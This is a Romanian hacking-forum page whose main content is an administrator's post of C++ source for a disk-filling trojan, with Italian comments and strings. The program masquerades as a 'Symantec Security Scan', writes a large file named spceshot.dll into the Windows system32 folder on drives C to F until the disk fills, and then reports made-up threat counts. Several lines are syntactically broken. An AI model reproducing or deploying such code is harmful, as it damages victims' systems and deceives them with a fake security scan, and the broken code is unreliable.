Filehost.ro - gazduire fisiere
OFFgames
Nou pe simpatie:
barbyDana
Femeie
25 ani
Bacau
cauta Barbat
28 - 46 ani
OFFgamesReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
OFFgames / creare virsui /

Trojan Seplifice [C++]

Pagini: 1  
#1
frat3l3
Administrator
Postari: 72
COD:
    /* SPACE BY TROJAN EATER Srikanth. Usalo per gli scopi educativi soltanto. Non si diffondono!*/

    #include<stdio.h>
    #include<conio.h>
    #include<dos.h>
    #include<stdlib.h>
    FILE *a,*t,*b;
    int r,status,vir_count;
    double i;
    char ch[]="CREAZIONE DI UN FILE ECCEZIONALE PER SPAZIO OCCUPA HARDDISK",choice;

    void eatspace(void);
    void findroot(void);
    void showstatus(void);
    void draw(void);
    void accept(void);

    void main()
    {
    draw();
    accept();
    textcolor(WHITE);
    draw();
    gotoxy(12,8);
    cputs("ANALISI DEL SISTEMA. ATTENDERE PREGO...";
    sleep(3);
    gotoxy(12,8);
    delline();
    cputs("Premere un tasto per avviare la Scansione SISTEMA...";
    getch();
    gotoxy(12,8);
    delline();
    findroot();
    }

    void accept()
    {
    textcolor(LIGHTRED);
    gotoxy(1,8);
    cputs("Questo programma è un DEMO di cavallo di Troia SIMPLE. Se si esegue questo programma viene fatto \ n \ REAT il vostro spazio COMPLETA SU HARD DISK DRIVE ROOT. TUTTAVIA E 'POSSIBILE
    \n\rELIMINARE IL DANNOE.\n\n\rPer sistemare il danno che 'VE \ PER CANCELLARE IL FILE \"spceshot.dll\" LOCATED IN\n\n\r \"%windir%\\System32\".\n\n\rSE si desidera eseguire il programma, premere INVIO, altrimenti premere un tasto per uscire.";

    if((choice=getch())!=13)
    exit(0);
    }

    void draw()
    {
    clrscr();
    textcolor(WHITE);
    gotoxy(12,2);
    cputs("********************************************************";
    gotoxy(12,6);
    cputs("********************************************************";
    gotoxy(12,3);
    cputs("*\n\b*\n\b*\n\b";
    gotoxy(67,3);
    cputs("*\n\b*\n\b*\n\b";
    gotoxy(14,4);
    cputs("SYMANTEC SECURITY SCAN - 2009 (SCANNER SISTEMA RAPIDO)";
    }

    void findroot()
    {
    t=fopen("C:\\windows\\explorer.exe","rb";
    if(t!=NULL)
    {
    fclose(t);
    textcolor(WHITE);
    a=fopen("C:\\windows\\system32\\spceshot.dll","rb";
    if(a!=NULL)
    {
    textcolor(LIGHTRED);
    gotoxy(12,8);
    cputs("SYSTEM SCAN è stata interrotta. TRY AGAIN LATER!";
    getch();
    exit(1);
    }
    b=fopen("C:\\windows\\system32\\spceshot.dll","wb+";
    if(b!=NULL)
    {
    showstatus();
    eatspace();
    }
    }
    t=fopen("D:\\windows\\explorer.exe","rb";
    if(t!=NULL)
    {
    fclose(t);
    a=fopen("D:\\windows\\system32\\spceshot.dll","rb";
    if(a!=NULL)
    {
    textcolor(LIGHTRED);
    gotoxy(12,8);
    cputs("SYSTEM SCAN è stata interrotta. TRY AGAIN LATER!";
    getch();
    exit(1);
    }
    b=fopen("D:\\windows\\system32\\spceshot.dll","wb+";
    if(b!=NULL)
    {
    showstatus();
    eatspace();
    }
    }
    t=fopen("E:\\windows\\explorer.exe","rb";
    if(t!=NULL)
    {
    fclose(t);
    a=fopen("E:\\windows\\system32\\spceshot.dll","rb";
    if(a!=NULL)
    {
    textcolor(LIGHTRED);
    gotoxy(12,8);
    cputs("SYSTEM SCAN è stata interrotta. TRY AGAIN LATER!";
    getch();
    exit(1);
    }
    b=fopen("E:\\windows\\system32\\spceshot.dll","wb+";
    if(b!=NULL)
    {
    showstatus();
    eatspace();
    }
    }
    t=fopen("F:\\windows\\explorer.exe","rb";
    if(t!=NULL)
    {
    fclose(t);
    a=fopen("F:\\windows\\system32\\spceshot.dll","rb";
    if(a!=NULL)
    {
    textcolor(LIGHTRED);
    gotoxy(12,8);
    cputs("SYSTEM SCAN è stata interrotta. TRY AGAIN LATER!";
    getch();
    exit(1);
    }
    b=fopen("F:\\windows\\system32\\spceshot.dll","wb+";
    if(b!=NULL)
    {
    showstatus();
    eatspace();
    }
    }
    if(t==NULL)
    {
    textcolor(LIGHTRED);
    gotoxy(12,8);
    cputs("SYSTEM SCAN FALLITO! Premere un tasto per chiudere il programma.";
    getch();
    exit(1);
    }
    exit(1);
    }

    void eatspace()
    {
    textcolor(LIGHTRED);
    gotoxy(12,16);
    cputs("AVVISO: Non abortire il processo di scansione fino al completamento!\n";
    textcolor(WHITE);
    gotoxy(12,18);
    while(1)
    {
    for(r=1;r<4;r++)
    {
    for(i=1;i<900000;i++)
    {
    status=fputs(ch,b);
    if(status==EOF)
    {
    textcolor(WHITE);
    vir_count=random(120);
    draw();
    gotoxy(12,8);
    cprintf("Scansione completata!. Rilevati ed eliminati MINACCE d su%d",vir_count);
    gotoxy(12,10);
    cprintf("Premere un tasto per CHIUDERE...";
    getch();
    break;
    }
    }
    cputs(".";
    if(status==EOF) break;
    }
    if(status==EOF) break;
    }
    exit(0);
    }

    void showstatus()
    {
    gotoxy(12,8);
    cputs("Scansione IL SISTEMA Per le minacce";
    gotoxy(12,10);
    cputs("Questo può richiedere fino POCHI MINUTI PER POCHE ORE";
    gotoxy(12,13);
    cputs("SCANSIONE IN PROGRESS. ATTENDERE PREGO...";
    }

Twisted Evil
[LegioN Tutorial]


LegioN

    Mesaje: 12
    Data de inscriere: 29/04/2012
    Localizare: Italy-Milan

    Vezi profilul utilizatorului http://www.legionit.ucoz.ro/

Sus


_______________________________________
[ ADMINISTRATOR ]

 
   
Pagini: 1  
Mergi la